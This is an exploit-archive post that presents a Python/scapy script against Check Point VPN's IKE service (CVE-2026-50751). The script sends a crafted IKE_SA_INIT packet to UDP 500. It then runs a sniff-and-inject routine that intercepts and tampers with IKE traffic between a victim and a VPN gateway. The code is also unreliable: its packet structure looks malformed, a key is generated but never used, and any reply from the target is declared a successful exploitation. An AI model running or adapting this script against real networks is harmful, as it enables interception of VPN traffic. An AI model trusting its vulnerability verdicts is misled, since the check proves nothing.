📄 Check Point VPN IKE Logic Flaw

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    | # Title     : Check Point VPN IKE Legacy Auth Exploit                                                                          |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : No standalone download available                                                                                 |
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    [+] Summary    :  A Python script attempting to exploit a vulnerability in Check Point VPN (CVE-2026-50751) by sending a malformed 
                      IKE_SA_INIT packet to UDP port 500, detecting whether the target responds 
                      as an indicator of exploitability, then executing a MITM attack to intercept IKE packets between a victim and a VPN gateway.
    
    
    [+] POC        :  
    
    #!/usr/bin/env python3
    
    import socket
    import struct
    import sys
    import time
    from scapy.all import *
    from cryptography.hazmat.primitives.asymmetric import x25519
    from cryptography.hazmat.primitives import serialization
    
    class CVE202650751Exploit:
        def __init__(self, target_ip, target_port=500):
            self.target_ip = target_ip
            self.target_port = target_port
            self.sock = None
        def create_ike_sa_init(self):
            """Create a fake IKE_SA_INIT package"""
            ike_header = struct.pack('!BBBB I I I',
                0x20,  
                0x20,  
                0x00, 
                0x00, 
                0x00000001,  
                0x00000000,  
                0x00000001   
            )
            legacy_payload = bytes([
                0x20, 
                0x00,  
                0x00, 0x04,  
                0x01, 0x02, 0x03, 0x04  
            ])
            return ike_header + legacy_payload
        def exploit_legacy_auth(self):
            """Exploiting weak authentication from existing customers"""
            print(f"[*] Targeting {self.target_ip}:{self.target_port}")
            private_key = x25519.X25519PrivateKey.generate()
            public_key = private_key.public_key()
            packet = IP(dst=self.target_ip)/UDP(sport=random.randint(45000, 65535), dport=self.target_port)
            ike_data = self.create_ike_sa_init()
            print("[*] Sending malicious IKE packet...")
            try:
                response = sr1(packet/Raw(load=ike_data), timeout=3, verbose=0)
                if response:
                    print("[+] Received response - Target may be vulnerable")
                    return True
            except Exception as e:
                print(f"[-] Exploit failed: {e}")
            return False
        def mitm_attack(self, victim_ip, vpn_gateway):
            """Man-in-the-middle attack to intercept VPN communications"""
            print(f"[*] Starting MITM attack between {victim_ip} and {vpn_gateway}")
            def packet_handler(pkt):
                if IP in pkt and UDP in pkt:
                    if pkt[UDP].dport == 500 or pkt[UDP].sport == 500:
                        print(f"[+] Intercepted IKE packet from {pkt[IP].src}")
                        modified_payload = pkt[Raw].load + b'\x00\x00\x00\x01BAD'
                        send(IP(src=pkt[IP].dst, dst=pkt[IP].src)/
                             UDP(sport=pkt[UDP].dport, dport=pkt[UDP].sport)/
                             Raw(load=modified_payload), verbose=0)
            
            sniff(filter=f"host {victim_ip} and host {vpn_gateway} and port 500", 
                  prn=packet_handler, store=0)
    def main():
        if len(sys.argv) < 2:
            print(f"Usage: {sys.argv[0]} <target_ip> [victim_ip]")
            sys.exit(1)
        exploit = CVE202650751Exploit(sys.argv[1])
        
        if exploit.exploit_legacy_auth():
            print("\n[!] VULNERABLE - Legacy client authentication bypass possible!")
            print("[!] CVE-2026-50751 exploitation successful")
            
            if len(sys.argv) == 3:
                print(f"[*] Initiating MITM attack against {sys.argv[2]}")
                exploit.mitm_attack(sys.argv[2], sys.argv[1])
        else:
            print("\n[+] Target appears patched or not vulnerable")
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
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